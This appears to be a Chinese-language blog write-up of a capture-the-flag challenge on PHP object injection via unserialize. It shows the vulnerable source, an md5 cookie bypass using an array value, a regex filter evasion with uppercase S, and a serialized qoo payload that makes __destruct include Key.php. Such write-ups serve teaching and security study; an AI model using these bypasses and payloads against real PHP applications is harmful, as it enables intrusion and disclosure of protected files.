這題還蠻有趣的
是關於 PHP 的 object injection,主要是 unserialize 出了問題。
http://pastebin.com/pykQL896 chall.phps 原始碼
首先,這題有三個保護
一:bypass md5
- $checksum = $_COOKIE['checksum'];
- if ( @md5($checksum) == '' ) {
不然程式會一直跳到 FakeKey 那邊進行讀取。
查了一下 md5 函數不管輸入怎樣的字串都不會回應 '' 空值,因此是要使它出錯
利用 firefox cookie editor 插入 checksum[] = 利用塞入陣列方式讓其出錯就可以了。
二:encrypt & bypass safe function
- base64_decode( $auth_str );
- $auth_str = mcrypt_decrypt
因此要自己進行一次 base64_encode 跟 mcrypt_encrypt
而Safe function有一些regular expression要bypass
- if ( is_string( $s ) && strpos( $s, "\0" ) === false ) {
- if ( strpos( $s, 'O:' ) === false ) {
- return true;
- } else if ( ! preg_match('/(^|;|})s:[+\-0-9]+:"/', $s ) ) {
- return true;
- }
由於過濾了s(字串),這邊改成大寫S就過了
然後base64的字串會出現+號,用urlencode繞過即可。
三:utilize unserialize php object injection
https://www.owasp.org/index.php/PHP_Object_Injection
查閱 OWASP 文件後,可以知道 PHP 在處理反序列化(unserialize)的時候有 bug
如果在上面有宣告物件,它在unserialize的時候會自動的執行類似
function __destruct(){
這樣的函數
我們看一下原始碼
- $cookie_key = "◢▆▅▄▃崩╰(〒皿〒)╯潰▃▄▅▇◣";
- $iv = "00000000";
- class qoo{
- var $key_var = "FakeKey";
- function __construct(){}
- function __destruct(){
- $keyfile = $this->key_var . ".php";
- $keyfile = basename( $keyfile );
- include( $keyfile );
- print $key;
- }
- }
- $auth_str = $_COOKIE['auth_str'];
- unserialize( $auth_str );
如果沒有第二步的檢查,一般的 object 注入方法是
建構一個跟上面一樣的 class qoo,加入要覆蓋的 key_var,然後將這個 class serialize 序列化
<?php
class qoo{
var $key_var = "Key";
}
$class = new qoo();
$class_ser = serialize($class);
print_r($class_ser);
?>
將 payload $class_ser 'o:3:"qoo":1:{s:7:"key_var";s:3:"Key";}'; unserialize
就會觸發 qoo 的 __destruct
同時會覆蓋區域變數 key_var,這樣就可以讀到 Key.php 了。
沒有留言:
張貼留言